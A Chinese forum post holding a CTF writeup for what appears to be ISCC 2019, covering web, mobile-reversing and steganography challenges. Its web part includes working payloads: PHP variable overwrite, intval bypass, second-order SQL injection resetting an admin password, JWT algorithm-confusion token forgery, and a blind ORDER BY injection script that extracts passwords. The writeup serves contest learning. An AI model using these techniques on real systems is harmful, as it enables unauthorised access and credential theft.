安全矩阵

 找回密码
 立即注册
搜索
查看: 2191|回复: 0

一篇较为简单经典的CTF Writeup

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-4-20 22:38:56 | 显示全部楼层 |阅读模式
本帖最后由 1337163122 于 2021-4-20 22:47 编辑

一篇较为简单经典的CTF Writeup天策安全技术联盟 前天
  1. #前言:
复制代码

一、Web
0x01. web4



靶机:http://39.100.83.188:8066
知识点:代码审计,函数使用不恰当,变量覆盖
原题:https://www.securepatterns.com/2019/04/
步骤:
1.打开靶机,发现直接显示了源码。



  1. <?php
复制代码

2.审一下,发现了当传入的参数中 action 为 auth,并且 key 和 hashed_key 相等时,就给出 flag。
3.但注意,这里有用到一个非常危险的函数 parse_str,参看 https://www.php.net/manual/zh/function.parse-str.php,如果传入的是 query_string(形如 a=1&b=2 ),那么就会将其解析为变量(设置变量 a=1, b=2)



4.好说了,那么我们就可以玩变量覆盖了,将 hashed_key 覆盖为我们想要的值即可,那么这里我选择覆盖 sha256(“glzjin”) = b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371,payload 如下:
/?action=auth&key=glzjin&hashed_key=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371



5. Flag 到手~
0x02. web2



靶机:http://39.100.83.188:8002/
知识点:暴力破解,验证码绕过
步骤:
1.打开靶机,发现是个登录页面。



2.测试登录,抓个包试试。



3.OK,既然提示了三位数字,那么就来暴力破解吧。
还观察到一个有意思的现象,要是不访问 /vcode.php,不产生 session,不带上 cookie 访问的话,那么验证码就形同虚设了,可以绕过了。
所以 Python 脚本如下:
  1. import requests#
复制代码

4.跑一下~



5.Flag 到手~
0x03. web1



靶机:http://39.100.83.188:8001
知识点:代码审计,PHP函数缺陷(特性?)
步骤:
1.打开靶机,又是直接看到源码了。



  1. <?phperror_reporting(0);require 'flag.php';$value = $_GET['value'];$password = $_GET['password'];$username = '';for ($i = 0; $i < count($value); ++$i) {    if ($value[$i] > 32 && $value[$i] < 127) unset($value);    else $username .= chr($value[$i]);    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {        echo 'Hello '.$username.'!', '<br>', PHP_EOL;        echo $flag, '<hr>';    }}highlight_file(__FILE__);<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

2.审代码。
首先看到从请求中获取了 value 和 password,其中 value 是个数组,先判断是否大于 33 小于 127,符合会被 unset 不处理,不符合的才基于 ASCII 码表将其中的元素逐个从数字转为字符,拼接成用户名。
然后判断用户名是否为 w3lc0me_To_ISCC2019,再判断用 intval 之后的 password 是否小于 2333, intval 之后的 password + 1 是否大于 2333。
3.看到这里,



会对传入值取 256 模。那么我们传入一个大一些的数字就可以绕过了。
  • 写个小脚本来生成 payload:
input_str = input()result = ''for i in input_str:    result += '&value[]=' + str(ord(i) + 256)print(result)



  • 对于 password 的判断,想起了 intval 的缺陷,只处理能处理的字符,比如对于 intval(‘0x01’),执行之后返回 0,但要是 intval(‘0x01’ + 1) 呢?PHP 会先将 ‘0x01’ 视作十六进制数与 1 相加,再丢给 intval 处理,那么结果就是 2,可以用下面的代码进行测试。
<?php//0echo intval('0x01').' ';//2echo intval('0x01' + 1).' ';
4. OK,那对照 ASCII 码表,以及上面我们的结论,得出以下 payload:
/?password=0xaaaa&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313
0xaaaa = 43690 > 2333
5. 请求一下~



6. Flag 到手~
0x04. web3



靶机:http://39.100.83.188:8065/
知识点:二次注入
原题以及注意:此题解法不确定,虽然是 SQLi-Labs 的原题https://bbs.pediy.com/thread-251338.htm,但是大家都在试- -也不知道谁的方法对谁的方法错了。
步骤:
1.打开靶机。发现是这样一个页面。



页面标题为 Second Degree Injections,提示其为二次注入。
3.那么就来注册个带二次注入的账号试试。



4.再登录看看。



5.重新改个密码,原密码我输入了 123456。



6. 点提交,猜测程序是直接调用用户名,传到 sql 请求的时候没做过滤,所以这里执行的 sql 语句就大概是 update users set password=’123456′ where username=’admin’—-*****,可以直接改 admin 的密码了。看页面这个样子似乎是改成功了?



7.用 admin 和 123456 试试,登录成功。



PS: 这里可以写个脚本 用 admin 和 123456 不断登录试试,总有师傅会把密码改成 123456,这样捡别人的也可以了。
8. Flag 到手~
0x05. web6



靶机:http://39.100.83.188:8053/
原题:https://www.anquanke.com/post/id/145540
知识点:代码泄露,JWT 原理
步骤:
1.打开靶机,发现是这样一个页面。



2.那么就先注册了。



3.登录看看。



4.提交,抓包看看。



5. Authorization 这个头特别有意思,BASE64 解码看看。



6.看起来是 JWT,那么就到 https://jwt.io/ 解码看看。



7.OK,那么再来看看网页源码。



看到 /static/js/common.js,
最后有一段
function getpubkey(){    /*     get the pubkey for test    /pubkey/{md5(username+password)}    */}
咦,这是可以泄露 pubkey 了- -?
8.那么就构造个访问看看,我的用户名 glzjin,密码 123456,那么 md5(“glzjin123456”) 就是 578a0a535bce1db2a2de0cd58b776ebf
访问 /pubkey/578a0a535bce1db2a2de0cd58b776ebf



获得了 pubkey。
9. OK,那么我们来尝试更改一下 alg 所指代的算法,将其从 RS256 这种非对称加密改成 HS256 这种对称加密,这样我们有公钥就可以伪造 JWT Token 从而为所欲为了。
10.首先把 pubkey 存到一个文本文件里。空格换行自己处理好。



11.然后用 Python 脚本来伪造令牌,payload 部分填写自己想要的内容。
import jwtpublic = open('1.txt', 'r').read()print(jwt.encode({"name": "glzjin","priv": "admin"}, key=public, algorithm='HS256'))
12.运行,报错了。



Never mind,我们直接去库源码里把这一段删了。




再运行,就可以得到新的 JWT Token 了。



13.然后将这个 JWT Token 放到 LocalStorage 里,覆盖原先的 Token。



14.list 一下,看到开头那里是 admin 留的东西。



15.访问看看。/text/admin:22f1e0aa7a31422ad63480aa27711277



16. Flag 到手~
0x06. web5



靶机:http://39.100.83.188:8054/
知识点:User-Agent 伪造,参数猜解,Order By 注入
步骤:
1.打开靶机,提示这种东西。



2.那看看伪造 User-Agent 能不能成。



Http 头设置 User-Agent 为 aaaUnion.373,成了!
3.然后提示要用户名,来猜测下参数试试。
更改请求为 POST,添加一个参数 username,再发出请求。



OK,不再提示请输入用户名,username 这个参数猜出来了。
4.如法炮制,猜出 password 这个参数。



5.提示组织成员密码即为 flag。那么我们就来看看有没有注入能读出 flag 吧。
6.测试注入点。第二列为用户名列。猜测第三列为密码列。



发现其屏蔽了很多东西,where,and,括号,等号,下划线都给屏蔽了。
7.尝试构造请求绕过验证,获取用户名 union_373_Tom。



相当于 select * from table_name where username=”*/*’ and password=’*/”
等效于 select * from table_name where username=”*”
=”*”就任意匹配了,自己找个表做个实验可以验证。
相当于 select * from table_name
8.拿到用户名之后,来看看能不能搞到密码。
多方测试后,payload 如下
username=union_373_Tom' union all select 1,2,'1' /*&password=*/ order by 3,2,'1
解释一下,这里会查询到两条记录,一条是 union_373_Tom 的(下文用原条目表示),还有一条是我们 union 进去的 2 的(下文用新条目表示)。
后面的 order by 排序是关键,首先对第三列也就是我们猜测的密码列进行排序,默认是升序的,字典序小的在前面。程序返回的都是排第一个的条目。
所以有三种情况,
  • 要是新条目第三列密码列(上文 payload 里为 ‘1’)字典序小于原条目第三列密码列,返回的就是新条目。
  • 要是相等就继续跳到第二列比较,第二列数据都是已知的,必然是新条目在前面,返回的就是新条目了。
  • 要是大于就返回原条目了。




构造了一个布尔条件,实现了我们可控的新条目的密码列与原条目密码列的字典序比较(小于等于)。
9.OK,那就说明我们可以构造请求,把原条目的密码给逐位跑出来了。
Python 脚本如下:
  1. import binasciiimport requestsurl = "http://39.100.83.188:8054/"def half(payload):    low = 0    high = 126    while low <= high:        mid = (low + high) / 2        # 等效于 chr(int(mid)) <= chr(int(target))        if http_get(payload + chr(int(mid))):            low = mid + 1        else:            high = mid - 1    mid_num = chr(int((low + high) / 2))    return mid_numdef http_get(payload):    str_16 = binascii.b2a_hex(payload.encode('utf-8'))    print(str_16.decode())    payload = "username=union_373_Tom'%20union%20all%20select%201%2C2%2C0x" + str_16.decode() + "%20%2F*&password=*%2F%20order%20by%203%2C2%2C'1"    headers = {        'user-agent': "aaaUnion.373",        'Content-Type': "application/x-www-form-urlencoded"    }    response = requests.request("POST", url, data=payload, headers=headers)    response.encoding = 'utf-8'    if response.text.find('组织欢迎你,2!') != -1:        return True    else:        return Falsereturn_str = ''# # 二分跑法# 需要运行两次,中间有个特殊字符被过滤了- -# 第一次:# return_str = ''# 第二次# return_str = '1SCC_'# while True:#     temp_return_str = half(return_str)#     if temp_return_str == '~':#         break##     return_str += temp_return_str#     print(return_str)# # 最后一位需要特殊处理,因为和原文相等了- -# return_str = return_str[:-1] + chr(ord(return_str[-1]) + 1)# 顺序跑法 需要请求 N*127 次 但只用运行一次while True:    for i in range(0, 127):        temp_return_str = chr(i)        if not http_get(return_str + temp_return_str):            break    if ord(temp_return_str) == 33:        break    return_str += chr(ord(temp_return_str) - 1)    print(return_str)print(return_str)<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

有两种跑法,二分和顺序,二分的话得运行两次,因为 order by 遇到下划线之类的符号似乎不得劲儿,顺序法的话还好,不受干扰。
关于这里
if ord(temp_return_str) == 33:   break
这个 33,为 ASCII 的第一个可视字符(前面为空格)。Mysql 似乎会忽略 ASCII 码小于 32 的不可视字符。而到了 33 一直跑下去,就永远是新条目字典序大,返回的就一直是原条目了。
10.运行脚本。



11.得到 Flag~
二、Mobile
0x01. Mobile01




知识点:Android逆向,NDK 静态分析
步骤:
1.安装一下,看看这是啥玩意儿。



输入注册码的话,会提示错误。
2.那么来解包看看。



3.然后用 dex2jar 把 dex 给解解。
d2j-dex2jar.sh classes.dex



4.然后用 jd-gui 打开看看。看到 com.iscc.crackme 的 MainActivity



5.审下代码,看到那个按钮按下之后会调用 checkFirst 和 checkSecond 两个方法,checkFirst 里先判断长度是否为 16 位,然后依次判断各位上是否为大于 0 小于 9 的数字(1~8),符合要求就返回 True。而对于 checkSecond,我们需要到 NDK 里看看了。
6.这里我们选择 lib/x86 下的 so 来分析。拖进 ida。



7.直接看到NDK调用的入口函数 Java_com_iscc_crackme_MainActivity_checkSecond,F5 看看。



可以看到主要是 checkfirst 和 checkAgain 两个函数在起作用,并且传入他们的参数似乎就是从 Java 程序里传过来的参数–那个注册码。
8.先看 checkfirst。



上面两个判断(别问我- -这里我没看明白),决定是处理前八位还是后八位,然后在这八位里逐位看后面的是否大于前面的,那么前八位和后八位中就必然有一段是 12345678 了。
9.再来看看 checkAgain。



一样的套路,和之前一样的判断。v13 那里似乎是把前八位取出来了,并且将其转换为对应的整型数字 – 1(减去的是 ASCII 码 49,也就是字符 1)了,而 v9那里则是把后八位给取出来了,v10,v11,v12按照地址进行计算,则分别是第十位,第十五位,第十六位。
再来看下面的判断,首先是第十六位和第九位相加要等于 5+2(前面转换的时候每一位都减 1 了) 也就是 7,第十位与第十五位相加要等于 12 + 2(同上) 也就是14。
而两个循环嵌套的情况下,就是前八位先对自身比较,确保没有重复的数字,后八位也是如此。再就是要求拆开之后看,前八位和后八位,相同位置上的数之间的差的绝对值不能相等。举个例子,我们有 12345678 31524678,这里前八位 3 – 1 = 2,而后八位 5 – 3 =2 ,这样就不符合条件了。
有这些理论条件做基础,我们就可以编写程序来调用这个 so 库进行爆破了。
11.打开 AndroidStudio,新建一个 APP。包名要和被爆破的源 APP 一致,为 com.iscc.crackme。



12.把之前解包出来的文件夹里的 libs 文件夹拷到我们创建的这个项目里。



13.修改 app 目录里的 build.gradle,添加如下的代码,使其打包时带上 NDK。
  1. task nativeLibsToJar(type: Zip, description: "create a jar archive of the native libs") {    destinationDir file("$projectDir/libs")    baseName "Native_Libs2"    extension "jar"    from fileTree(dir: "libs", include: "**/*.so")    into "lib"}tasks.withType(JavaCompile) {    compileTask -> compileTask.dependsOn(nativeLibsToJar)}<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码




13.再修改 MainActivity,添加爆破相关逻辑。
  1. package com.iscc.crackme;import android.os.Bundle;import android.support.design.widget.FloatingActionButton;import android.support.design.widget.Snackbar;import android.support.v7.app.AppCompatActivity;import android.support.v7.widget.Toolbar;import android.view.View;import android.view.Menu;import android.view.MenuItem;import android.widget.TextView;public class MainActivity extends AppCompatActivity {    static    {        System.loadLibrary("native-lib");    }    private TextView tv;    @Override    protected void onCreate(Bundle savedInstanceState) {        tv = this.findViewById(R.id.test);        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Toolbar toolbar = findViewById(R.id.toolbar);        setSupportActionBar(toolbar);        FloatingActionButton fab = findViewById(R.id.fab);        fab.setOnClickListener(new View.OnClickListener() {            @Override            public void onClick(View view) {                System.out.println("Start~");                for(int i1 = 1; i1 <= 8; i1++) {                    for(int i2 = 1; i2 <= 8; i2++) {                        if(i1 == i2) {                            continue;                        }                        for(int i3 = 1; i3 <= 8; i3++) {                            if(i1== i3 || i2 == i3) {                                continue;                            }                            for(int i4 = 1; i4 <= 8; i4++) {                                if(i1 == i4 || i2 == i4 || i3 == i4) {                                    continue;                                }                                for(int i5 = 1; i5 <= 8; i5++) {                                    if(i1 == i5 || i2 == i5 || i3 == i5 || i4 == i5) {                                        continue;                                    }                                    for(int i6 = 1; i6 <= 8; i6++) {                                        if(i1 == i6 || i2 == i6 || i3 == i6 || i4 == i6 || i5 == i6) {                                            continue;                                        }                                        for(int i7 = 1; i7 <= 8; i7++) {                                            if(i1 == i7 || i2 == i7 || i3 == i7 || i4 == i7 || i5 == i7 || i6 == i7) {                                                continue;                                            }                                            for(int i8 = 1; i8 <= 8; i8++) {                                                if(i1 == i8 || i2 == i8 || i3 == i8 || i4 == i8 || i5 == i8 || i6 == i8 || i7 == i8) {                                                    continue;                                                }                                                for(int i9 = 1; i9 <= 8; i9++) {                                                    for(int i10 = 1; i10 <= 8; i10++) {                                                        if(i9 == i10) {                                                            continue;                                                        }                                                        for(int i11 = 1; i11 <= 8; i11++) {                                                            if(i9 == i11 || i10 == i11) {                                                                continue;                                                            }                                                            for(int i12 = 1; i12 <= 8; i12++) {                                                                if(i9 == i12 || i10 == i12 || i11 == i12) {                                                                    continue;                                                                }                                                                for(int i13 = 1; i13 <= 8; i13++) {                                                                    if(i9 == i13 || i10 == i13 || i11 == i13 || i12 == i13) {                                                                        continue;                                                                    }                                                                    for(int i14 = 1; i14 <= 8; i14++) {                                                                        if(i9 == i14 || i10 == i14 || i11 == i14 || i12 == i14 || i13 == i14) {                                                                            continue;                                                                        }                                                                        for(int i15 = 1; i15 <= 8; i15++) {                                                                            if(i9 == i15 || i10 == i15 || i11 == i15 || i12 == i15 || i13 == i15 || i14 == i15) {                                                                                continue;                                                                            }                                                                            for(int i16 = 1; i16 <= 8; i16++) {                                                                                if(i9 == i16 || i10 == i16 || i11 == i16 || i12 == i16 || i13 == i16 || i14 == i16 || i15 == i16) {                                                                                    continue;                                                                                }                                                                                String testStr = "";                                                                                testStr += i1;                                                                                testStr += i2;                                                                                testStr += i3;                                                                                testStr += i4;                                                                                testStr += i5;                                                                                testStr += i6;                                                                                testStr += i7;                                                                                testStr += i8;                                                                                testStr += i9;                                                                                testStr += i10;                                                                                testStr += i11;                                                                                testStr += i12;                                                                                testStr += i13;                                                                                testStr += i14;                                                                                testStr += i15;                                                                                testStr += i16;                                                                                if(MainActivity.this.checkSecond(testStr)) {                                                                                    System.out.println("Found!" + testStr);                                                                                    break;                                                                                }                                                                            }                                                                        }                                                                    }                                                                }                                                            }                                                        }                                                    }                                                }                                            }                                        }                                    }                                }                            }                        }                    }                }                System.out.println("End~");            }        });    }    public native boolean checkSecond(String paramString);    @Override    public boolean onCreateOptionsMenu(Menu menu) {        // Inflate the menu; this adds items to the action bar if it is present.        getMenuInflater().inflate(R.menu.menu_main, menu);        return true;    }    @Override    public boolean onOptionsItemSelected(MenuItem item) {        // Handle action bar item clicks here. The action bar will        // automatically handle clicks on the Home/Up button, so long        // as you specify a parent activity in AndroidManifest.xml.        int id = item.getItemId();        //noinspection SimplifiableIfStatement        if (id == R.id.action_settings) {            return true;        }        return super.onOptionsItemSelected(item);    }}<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

写得丑了点,但速度还是挺快的。程序的主要目的就是生成符合上面分析出来的要求的注册码,然后传给 NDK 判断,找到返回为 True 的注册码。
项目打包:
1558434004d291d2e0f9b18676b34d2debad7d9b89下载
14.运行,点一下,开跑。



15.得到符合条件的 1234567836275184,填回去试试。



16.Flag 到手~将这个作为 Flag 提交即可~
三、MISC
0x01. 隐藏的信息




知识点:观察?
步骤:
1.解包之后打开看看这个文件。似乎都是八进制,那转 ASCII 字符试试。



2.不磨叽,上脚本。
import base64f = open("message.txt", "r")s = f.readline().split(' ')result = ''for i in s:    if i != '':        result += chr(int(i, 8))f.close()print(base64.b64decode(result))
3.运行。



4.Flag 到手~
0x02.最危险的地方就是最安全的地方




知识点:观察?
步骤:
1.解包,发现是个图片,而且打不开。



2.那么 binwalk 走一波,似乎是个压缩文件。



3.解压看看。



4.进去一看,一大堆二维码。



5.每一个二维码内容都差不多。



6.看一下详细信息,发现有一个二维码特别大。



7.hex 编辑器打开看看,发现这么一段。



8.拷出来 Base64 解个码。



9.Flag 到手~提交中间的即可。
0x03.解密成绩单




知识点:.Net 反编译
步骤:
1.解压,是个 exe。



2.PEID 看看,.Net?



3.来,.Net 反编译走一波。https://github.com/icsharpcode/ILSpy/releases



4.然后来随意看看,看到 checkUsername 这个方法。看来用户名是 admin 了。



5.然后看到 checkPassword 这个方法,看来密码是 ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n 了。



6.输入进去试试。



7.Flag 到手~



0x04.Welcome




知识点:密文分析
步骤:
1.解包,是个 Txt,打开看看。注意编码切成 GBK。



2.然后来统计一下每一组词的出现频率。这里我们将每组词 md5 之后作为 dict 的 key,便于处理。
import hashlibf = open("welcome.txt", "r")s = f.readline().split(' ')def md5(str):    m = hashlib.md5()    m.update(str.encode())    h = m.hexdigest()    return hresult = {}for i in s:    key = md5(i)    if key not in result:        print(i + " " + key)        result[key] = 0    result[key] += 1print(result)
3.运行一下,结果如下。其中有四组的数比较多。
分别是:
  • 洮蓠朩暒戶囗
  • 萇條戶囗
  • 萇條蓅烺計劃
  • 洮蓠朩暒蓅烺計劃



4.想了蛮久,想试试是不是这四个词分别代表 0 和 1,然后每八位代表一个 ASCII 字符,那我们写个脚本来跑一下每种代表的组合,看能跑出来些什么。
  1. import hashlibf = open("welcome.txt", "r")s = f.readline().split(' ')def md5(str):    m = hashlib.md5()    m.update(str.encode())    h = m.hexdigest()    return hfor s1 in range(0, 2):    for s2 in range(0, 2):        for s3 in range(0, 2):            for s4 in range(0, 2):                dicts = {md5('洮蓠朩暒戶囗'): str(s1), md5('萇條戶囗'): str(s2), md5('萇條蓅烺計劃'): str(s3), md5('洮蓠朩暒蓅烺計劃'): str(s4)}                result = ''                for i in s:                    key = md5(i)                    if key in dicts:                        result += dicts[key]                flag = ""                for i in range(0, len(result), 8):                    flag += chr(int(result[i:i + 8], 2))                print(flag)<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

5.啊哈,还真跑出来了。



6.Flag 到手~最后一位自己修正下吧。
0x05.倒立屋




知识点:LSB,脑洞
步骤:
1.解压,是个这样的图。



2.hex 编辑器打开看看,没看到什么端倪。



3.打开 StegSolve 看看。



4.点 Analyse–Data Extract,然后 Bit Planes 逐位试试,发现 RGB 都点到 0 的时候(这里显示不全- -用 Tab 切过去忙打上的)开头有东西。



5.直接提交不行,倒过来提交就行了。
6.Flag 到手~
0x06.无法运行的exe




知识点:分析,图片修复。
步骤:
1.解包看看,原本我是想图省事,就先拿 hex 编辑器打开看看了。没想到直接就看到里面是串 base64。



2.解个码看看,似乎是 png。



3.那就找个工具把它转成文件。



4.下载下来还是打不开。



5.找个工具修修。https://github.com/sherlly/PCRT



6.打开修复之后的图片看看,是个二维码。



7.扫描得到 Flag~



8. Flag 到手~
0x07.High起来!




知识点:MP3 隐写,当铺密码
步骤:
1.解包,打开,发现是个图片,但打不开。



2.那就 binwalk 走一波,有个压缩包。



3.解压看看,是个 MP3。



4.Audacity 打开看看,没看见什么端倪。



5.那么还是再回到之前这个 png 吧,hex 打开看看。发现开头有个 PNG,那么我们搜索 504B,把后面的其他数据去掉。



6.然后用 PCRT 修复下。



7.发现是个二维码。



8.扫描一下,得到 中口由羊口中中大中中中井。



9.似乎是当铺密码,解密试试。得到 201902252228 http://www.zjslove.com/3.decode/dangpu/index.html



10.再用 mp3stegohttps://www.petitcolas.net/steganography/mp3stego/ 来处理下。
cd 到这里。



Decode.exe -X 01.mp3 -P 201902252228



11.打开 01.mp3.txt,得到如下的 HTML Markup
flag{PrEtTy_1ScC9012_gO0d}
12.上个 Python 脚本解码。
  1. import HTMLParsers = 'flag{PrEtTy_1ScC9012_gO0d}'h = HTMLParser.HTMLParser()print(h.unescape(s))<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

13.运行



14.Flag 到手~
0x08.他们能在一起吗?




步骤:
1.是个二维码。



2.扫一下得 UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=,解码得 PASS%7B0K_I_L0V3_Y0u%21%7D,URL Decode 之后得 PASS{0K_I_L0V3_Y0u!}。看起来是密码。



3.binwalk 看下,还有个压缩文件。



4.解压,需要密码,填入上面得到的密码。



5.打开解压出来的文件。



6.Flag 到手~
PS: 我也想要女朋友呀ヾ(=・ω・=)o
0x09.Keyes’ secret




步骤:
1.解包之后是个文本文件。



2.题面有提示键盘。那么就考虑是键盘密码了。上网找个脚本来解。https://nitesculucian.github.io/2018/09/30/dctf-2018-message/
这里我们就处理 {} 包起来的密文就好,因为这脚本里的字典和这题用到的还是有些不同的,要扩充太多就很累了。
最终 Python 脚本如下:
  1. keyboard = [    [[" "], ["QWERTY", "ASDFGH", "ZXCVBN"]],    [["A"], ["XCVBGRD", "GRDXCVB", "ZSEFVCX"]],    [["B"], ["WSXCFD", "RFVBHG", "QAZXDS", "YHNMKJ"]],    [["C"], ["REDCV", "EWSXC", "TRFVB"]],    [["D"], ["EDCVGR", "WSXCFE", "YHNMKU"]],    [["E"], ["EDCVRF", "WSXCDE", "TGBNHY"]],    [["F"], ["REDCF", "TRFVG", "EWSXD"]],    [["G"], ["REDCVG", "CVGRED", "CVRGED"]],    [["H"], ["WSXDRFV", "EDCFTGB", "RFVGYHN"]],    [["I"], ["WSX", "EDC", "RFV"]],    [["J"], ["UJMN", "WSXZ", "RFVC"]],    [["K"], ["EDCFBY", "WSXDVR", "QAZSCE"]],    [["L"], ["WSXCV", "EDCVB", "RFVBN"]],    [["M"], ["ZAQWDRTGB", "XSWEFTYHN", "XSWEFTYNH"]],    [["N"], ["ZAQWDVFR", "XSWEFTGB", "XSWEFTBG"]],    [["O"], ["QAZXCDEW", "WSXCVFRE", "RFVBNHYT", "TGBNMJUY"]],    [["P"], ["MNBVCCDERTG", "NBVCXSWERF", "NBVCXSWEFR"]],    [["Q"], ["QAZXCDEWV", "EDCVBGTRN", "RFVBNHYTM"]],    [["R"], ["MNBVCDRTGHU", "MNBVCDRTGHU", "MNBVCDRTGHU"]],    [["S"], ["YTRFVCX", "IUYHNBV", "IUYHNBV"]],    [["T"], ["WERTYFV", "RTYUIHN", "RTYUIHN"]],    [["U"], ["WSXCVFR", "EDCVBGT", "EDCVBGT"]],    [["V"], ["EFVGY", "WDCFT", "WDCFT"]],    [["W"], ["EFVGYWDCFT", "EFVGYWDCFT", "EFVGYWDCFT"]],    [["X"], ["WDVTDZ", "RGNYGC", "RGNYGC"]],    [["Y"], ["JMYI", "EFVT", "EFVT"]],    [["Z"], ["QWERDCVB", "ERTGVBN", "ERTGVBN"]]]def nliqwerty_dec(buf):    dec_buf = buf    result = ""    while len(dec_buf) > 0:        if dec_buf[:1] == '{' or dec_buf[:1] == '}' or dec_buf[:1] == '.' or dec_buf[:1] == ',':            result += dec_buf[:1]            dec_buf = dec_buf[1:]            continue        is_found = False        for i in range(11, 2, -1):            for count in range(0, 27):                for j in keyboard[count][1]:                    if dec_buf[:i] == j:                        result += keyboard[count][0][0]                        dec_buf = dec_buf[i:]                        is_found = True                        break            if is_found:                break    print(result)nliqwerty_dec("{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}")<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

3.运行



4.Flag 到手~
0x0a.Aesop’s secret




知识点:拼图,AES 加密
步骤:
1.打开看看,是个 gif 图。而且一直在不同位置跳。



2.找个工具分解下。https://zh.bloggif.com/gif-extract



3.将其中间部分拼起来之后,是 “ISCC” 字样。



4.而后用 hex 编辑器打开这个 gif 看看。最后这里有一段 Base64。



5.解码之后 Salted__Pi 开头,说明是 AES 加密。



6.https://www.sojson.com/encrypt_aes.html 解密试试,密码就是上面拼出来的 “ISCC” 。



7.对解密得到的东西再解密一次。



8.Flag 到手~
0x0b.碎纸机




知识点:
步骤:
1.打开看看,是个图片。



2. binwalk 走一波,有压缩包。



3.解压一下。



4.简单看看,是一堆拼图和一个文本文件。



文本文件内容如下:



OpenCV?看来得从图片入手。
5.用 hex 编辑器打开这些图片,发现最后有东西。



6.将 FFD9 之后的十六进制值复制到文本编辑器,搜索 00,开高亮。



7.不断调整窗口大下,并设置让内容适应窗口大小。可以看到非 00 的部分是可以拼成字符的。



第一幅图看来就是 Fl 了。
8.对剩下几幅图也如法炮制。每幅图的内容可能有重复,自己看的时候细心些。
第二幅图:



ag=
第三幅图:



{ISC
第四幅图:



C_
第五幅图:



is_s(这里比较难看,不过最后拼出来之后是个英语句子,所以可以按照内容修正下)
第六幅图:



o_i
第七幅图:



nter
第八幅图:



esti
第九幅图:



ng_
第十幅图:



!}
9.拼起来,就是 Flag={ISCC_is_so_interesting_!}
10.Flag 到手~



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:43 , Processed in 0.019473 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表